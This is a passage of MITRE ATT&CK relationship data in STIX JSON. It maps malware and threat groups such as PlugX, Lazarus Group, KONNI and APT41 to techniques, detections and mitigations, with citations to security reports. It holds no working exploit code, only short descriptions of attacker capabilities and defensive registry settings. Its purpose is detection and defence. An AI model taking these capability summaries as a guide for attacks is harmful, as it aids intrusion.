Skidmap)","relationship_type":"uses","source_ref":"malware--4b68b5ea-2e1b-4225-845b-8632f702b9a0","target_ref":"attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4cb1a0d0-6276-4c2c-b299-c26c982e9e1e","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://labs.lastline.com/an-analysis-of-plugx","description":"Vasilenko, R. (2013, December 17). An Analysis of PlugX Malware. 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Retrieved November 5, 2018."}],"modified":"2019-04-19T15:08:15.965Z","description":"[PlugX](https://attack.mitre.org/software/S0013) can enumerate and query for information contained within the Windows Registry.(Citation: Lastline PlugX Analysis)(Citation: CIRCL PlugX March 2013)","relationship_type":"uses","source_ref":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8ef60c8b-f178-4b78-b5c4-76747e075d84","type":"relationship","created":"2021-03-05T18:54:56.733Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Higaisa 2020","url":"https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/","description":"Malwarebytes Threat Intelligence Team. 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Retrieved March 2, 2021."}],"modified":"2021-03-05T18:54:56.733Z","description":"[Higaisa](https://attack.mitre.org/groups/G0126) used JavaScript to execute additional files.(Citation: Malwarebytes Higaisa 2020)(Citation: Zscaler Higaisa 2020)(Citation: PTSecurity Higaisa 2020)","relationship_type":"uses","source_ref":"intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3","target_ref":"attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a99d22fc-31e7-4b10-991a-63a3a663ca70","type":"relationship","created":"2021-05-24T14:45:38.428Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BlackBerry CostaRicto November 2020","url":"https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced","description":"The BlackBerry Research and Intelligence Team. (2020, November 12). The CostaRicto Campaign: Cyber-Espionage Outsourced. Retrieved May 24, 2021."}],"modified":"2021-10-15T12:32:18.703Z","description":"(Citation: BlackBerry CostaRicto November 2020)","relationship_type":"uses","source_ref":"intrusion-set--bb82e0b0-6e9c-439f-970a-4c917a74c5f2","target_ref":"tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--10c33088-630e-456d-ad0f-8a63be4d3946","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments","description":"Blasco, J. (2013, March 21). New Sykipot developments &#91;Blog&#93;. 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Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.","source_name":"Novetta Blockbuster"},{"source_name":"Novetta Blockbuster Loaders","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.","url":"https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf"},{"source_name":"Novetta Blockbuster Tools","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Tools Report. Retrieved March 10, 2016.","url":"https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Tools-Report.pdf"}],"modified":"2019-12-20T14:28:39.064Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) malware IndiaIndia obtains and sends to its C2 server the title of the window for each running process. The KilaAlfa keylogger also reports the title of the window in the foreground.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Loaders)(Citation: Novetta Blockbuster Tools)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8ab5954b-d36f-40c3-8f90-7e4862d38f43","type":"relationship","created":"2019-09-13T14:12:16.427Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. 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On Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6be48603-8603-45dd-8423-294169ca45a6","type":"relationship","created":"2020-09-25T15:49:09.218Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Valak May 2020","url":"https://www.cybereason.com/blog/valak-more-than-meets-the-eye","description":"Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . 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(2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. 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Retrieved May 5, 2020."}],"modified":"2020-05-05T20:54:53.136Z","description":"[BlackTech](https://attack.mitre.org/groups/G0098) has used spearphishing e-mails with links to cloud services to deliver malware.(Citation: TrendMicro BlackTech June 2017)","relationship_type":"uses","source_ref":"intrusion-set--6fe8a2a1-a1b0-4af8-953d-4babd329f8f8","target_ref":"attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ed29b2b8-3f48-4bbe-a70b-b4e350820dcd","type":"relationship","created":"2022-03-30T14:26:51.874Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.874Z","description":"Monitor for third-party application logging, messaging, and/or other artifacts that may rely upon specific actions by a user in order to gain execution.","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--f4c6cb3f-b24c-4a1e-9bba-7b129b89a17a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ThreatExpert Agent.btz","description":"Shevchenko, S.. (2008, November 30). Agent.btz - A Threat That Hit Pentagon. Retrieved April 8, 2016.","url":"http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html"}],"modified":"2020-03-30T02:49:13.072Z","description":"[Agent.btz](https://attack.mitre.org/software/S0092) saves system information into an XML file that is then XOR-encoded.(Citation: ThreatExpert Agent.btz)","relationship_type":"uses","source_ref":"malware--40d3e230-ed32-469f-ba89-be70cc08ab39","target_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--556f8dd8-50e0-4115-9815-c20bfc2b915a","type":"relationship","created":"2019-09-23T22:53:30.248Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT41 Aug 2019","url":"https://content.fireeye.com/apt-41/rpt-apt41","description":"Fraser, N., et al. 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Retrieved September 23, 2019."}],"modified":"2020-04-30T20:31:38.353Z","description":"[APT41](https://attack.mitre.org/groups/G0096) compromised an online billing/payment service using VPN access between a third-party service provider and the targeted payment service.(Citation: FireEye APT41 Aug 2019)\n","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e394c235-8567-4198-9559-fb3952672fe0","type":"relationship","created":"2019-01-30T13:42:09.461Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET GreyEnergy Oct 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf","description":"Cherepanov, A. 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Retrieved May 31, 2021."}],"modified":"2021-05-31T16:31:47.975Z","description":"[Bandook](https://attack.mitre.org/software/S0234) is capable of spawning a Windows command shell.(Citation: EFF Manul Aug 2016)(Citation: CheckPoint Bandook Nov 2020)","relationship_type":"uses","source_ref":"malware--835a79f1-842d-472d-b8f4-d54b545c341b","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--33e3573b-0f18-417c-be17-727863fc21ec","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos GravityRAT","description":"Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.","url":"https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"}],"modified":"2019-04-24T23:21:59.301Z","description":"[GravityRAT](https://attack.mitre.org/software/S0237) can obtain the date and time of a system.(Citation: Talos GravityRAT)","relationship_type":"uses","source_ref":"malware--1d1fce2f-0db5-402b-9843-4278a0694637","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--02fee6ab-f7a1-4168-919f-63c4f0b3349c","type":"relationship","created":"2020-01-30T17:48:49.751Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-01-30T17:48:49.751Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0","target_ref":"attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c0561e30-556b-486b-a7fa-1be6feece584","type":"relationship","created":"2021-04-13T20:27:51.720Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA416 November 2020","url":"https://www.proofpoint.com/us/blog/threat-insight/ta416-goes-ground-and-returns-golang-plugx-malware-loader","description":"Proofpoint Threat Research Team. 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Retrieved March 16, 2018."}],"modified":"2021-04-14T14:03:30.688Z","description":"[Ajax Security Team](https://attack.mitre.org/groups/G0130) has used Wrapper/Gholee, custom-developed malware, which downloaded additional malware to the infected system.(Citation: Check Point Rocket Kitten)","relationship_type":"uses","source_ref":"intrusion-set--fa19de15-6169-428d-9cd6-3ca3d56075b7","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3ffda000-9e1b-4f63-8cc4-7b31feeb0b12","type":"relationship","created":"2020-03-02T19:08:18.033Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-03-02T19:08:18.033Z","relationship_type":"revoked-by","source_ref":"attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--bdee01a7-16cb-417e-8d9b-c98afd445bbc","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf","description":"Symantec Security Response. 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(2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."},{"source_name":"KISA Operation Muzabi","url":"https://www.boho.or.kr/krcert/publicationView.do?bulletin_writing_sequence=35936","description":"KISA. (n.d.). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. 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(2020, July 16). MAR-10296782-3.v1 – WELLMAIL. Retrieved September 29, 2020."},{"source_name":"NCSC APT29 July 2020","url":"https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf","description":"National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. 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Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Flagpro](https://attack.mitre.org/software/S0696) can check whether the target system is using Japanese, Taiwanese, or English through detection of specific Windows Security and Internet Explorer dialog.(Citation: NTT Security Flagpro new December 2021) ","modified":"2022-04-13T19:56:42.403Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--592260fb-dd5c-4a30-8d99-106a0485be0d","target_ref":"attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6d5221c3-2efa-4374-8842-8c955fda112b","type":"relationship","created":"2020-06-02T19:36:48.191Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 CARROTBAT January 2020","url":"https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/","description":"McCabe, A. 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Retrieved April 28, 2020."},{"source_name":"Malwarebytes Konni Aug 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/","description":"Threat Intelligence Team. (2021, August 23). New variant of Konni malware used in campaign targetting Russia. Retrieved January 5, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[KONNI](https://attack.mitre.org/software/S0356) has bypassed UAC by performing token impersonation as well as an RPC-based method, this included bypassing UAC set to “AlwaysNotify\".(Citation: Medium KONNI Jan 2020)(Citation: Malwarebytes Konni Aug 2021)","modified":"2022-04-18T21:42:38.119Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--27ccf817-33de-4d85-85e5-851f82e835e4","type":"relationship","created":"2020-06-01T14:41:54.720Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint TA505 October 2019","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader","description":"Schwarz, D. et al. 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Retrieved May 29, 2020."}],"modified":"2020-06-16T16:43:36.124Z","description":"[SDBbot](https://attack.mitre.org/software/S0461) has the ability to inject a downloaded DLL into a newly created rundll32.exe process.(Citation: Proofpoint TA505 October 2019)","relationship_type":"uses","source_ref":"malware--92b03a94-7147-4952-9d5a-b4d24da7487c","target_ref":"attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3e91f49c-5342-49d8-8105-7ab17c5ef9f4","type":"relationship","created":"2021-05-26T12:26:52.515Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"BitDefender Chafer May 2020","url":"https://labs.bitdefender.com/2020/05/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/","description":"Rusu, B. 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(2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe allows remote code execution with escalation of privilege. Retrieved December 4, 2014."}],"modified":"2020-09-16T19:10:04.418Z","description":"Turn off UAC's privilege elevation for standard users <code>[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]</code>to automatically deny elevation requests, add: <code>\"ConsentPromptBehaviorUser\"=dword:00000000</code>. Consider enabling installer detection for all users by adding: <code>\"EnableInstallerDetection\"=dword:00000001</code>. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: <code>\"EnableInstallerDetection\"=dword:00000000</code>. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged.(Citation: Executable Installers are Vulnerable)","relationship_type":"mitigates","source_ref":"course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808","target_ref":"attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--58e2393f-06b5-44a6-a2ad-9b9980dd57ab","type":"relationship","created":"2020-03-20T02:31:08.790Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/","description":"Sherstobitoff, R. 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Use of VNC may be legitimate depending on the environment and how it’s used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior using VNC. 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Retrieved May 18, 2020."}],"modified":"2020-06-23T00:48:35.422Z","description":"[LoudMiner](https://attack.mitre.org/software/S0451) used an MSI installer to install the virtualization software.(Citation: ESET LoudMiner June 2019)\t","relationship_type":"uses","source_ref":"malware--f99f3dcc-683f-4936-8791-075ac5e58f10","target_ref":"attack-pattern--365be77f-fc0e-42ee-bac8-4faf806d9336","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--42f6d62c-6477-42b7-8078-76b1f94e6155","type":"relationship","created":"2021-06-03T19:52:01.074Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FiveHands April 2021","url":"https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html","description":"McLellan, T.  and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."}],"modified":"2021-06-03T19:52:01.074Z","description":"[DEATHRANSOM](https://attack.mitre.org/software/S0616) can use HTTPS to download files.(Citation: FireEye FiveHands April 2021)","relationship_type":"uses","source_ref":"malware--6de9cad1-eed2-4e27-b0b5-39fa29349ea0","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8479b281-c987-4b73-b85e-3f69fa024b4c","type":"relationship","created":"2021-01-11T21:01:01.796Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 NETWIRE April 2020","url":"https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/","description":"Duncan, B. (2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021."}],"modified":"2021-01-11T21:10:11.149Z","description":"[GuLoader](https://attack.mitre.org/software/S0561) can delete its executable from the <code>AppData\\Local\\Temp</code> directory on the compromised host.(Citation: Unit 42 NETWIRE April 2020)","relationship_type":"uses","source_ref":"malware--45c759ac-b490-48bb-80d4-c8eee3431027","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--c7c24601-7125-4079-9d48-138594b3f86c","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.finfisher.com/FinFisher/index.html","description":"FinFisher. (n.d.). Retrieved December 20, 2017.","source_name":"FinFisher Citation"},{"url":"https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/","description":"Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher’s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.","source_name":"Microsoft FinFisher March 2018"}],"modified":"2020-03-18T00:12:01.942Z","description":"[FinFisher](https://attack.mitre.org/software/S0182) renames one of its .dll files to uxtheme.dll in an apparent attempt to masquerade as a legitimate file.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)","relationship_type":"uses","source_ref":"malware--a5528622-3a8a-4633-86ce-8cdaf8423858","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--01b924d7-42dd-412f-a9af-cabcb46512ea","type":"relationship","created":"2017-05-31T21:33:27.075Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates","description":"DiMaggio, J.. (2016, March 15). Suckfly: Revealing the secret life of your code signing certificates. Retrieved August 3, 2016.","source_name":"Symantec Suckfly March 2016"},{"url":"http://www.symantec.com/connect/blogs/indian-organizations-targeted-suckfly-attacks","description":"DiMaggio, J.. (2016, May 17). Indian organizations targeted in Suckfly attacks. Retrieved August 3, 2016.","source_name":"Symantec Suckfly May 2016"}],"modified":"2019-03-25T16:59:47.296Z","description":"(Citation: Symantec Suckfly March 2016)(Citation: Symantec Suckfly May 2016)","relationship_type":"uses","source_ref":"intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d","target_ref":"malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8619a26c-0c32-4fe8-b382-60a029ef9cfb","type":"relationship","created":"2021-03-12T16:34:27.545Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"MSTIC NOBELIUM Mar 2021","url":"https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/","description":"Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM’s layered persistence. Retrieved March 8, 2021."},{"source_name":"FireEye SUNSHUTTLE Mar 2021","url":"https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html","description":"Smith, L., Leathery, J., Read, B. (2021, March 4). New SUNSHUTTLE Second-Stage Backdoor Uncovered Targeting U.S.-Based Entity; Possible Connection to UNC2452. Retrieved March 12, 2021."}],"modified":"2021-03-12T17:27:26.958Z","description":"[UNC2452](https://attack.mitre.org/groups/G0118) has acquired C2 domains through resellers.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)","relationship_type":"uses","source_ref":"intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ffbaf980-7288-4bfd-9887-6b4a103f178c","type":"relationship","created":"2022-03-30T14:26:51.850Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.850Z","description":"Monitor executed commands and arguments that may execute their own malicious payloads by hijacking the way operating systems run programs.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--60a61381-266d-446c-98d2-4acebfcd3c2a","type":"relationship","created":"2022-03-30T14:26:51.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.838Z","description":"Consider monitoring for modifications made to Registry keys associated with code signing policies, such as <code>HKCU\\Software\\Policies\\Microsoft\\Windows NT\\Driver Signing</code>. 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Retrieved October 28, 2020."}],"modified":"2020-11-20T14:11:33.261Z","description":"[BloodHound](https://attack.mitre.org/software/S0521) can collect information about local groups and members.(Citation: CrowdStrike BloodHound April 2018)","relationship_type":"uses","source_ref":"tool--066b057c-944e-4cfc-b654-e3dfba04b926","target_ref":"attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--78b31fa7-10ef-4c28-888e-71da978e9e81","type":"relationship","created":"2020-03-15T16:21:45.233Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-10-21T16:35:45.749Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. 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(2014, July 7). Dragonfly: Cyberespionage Attacks Against Energy 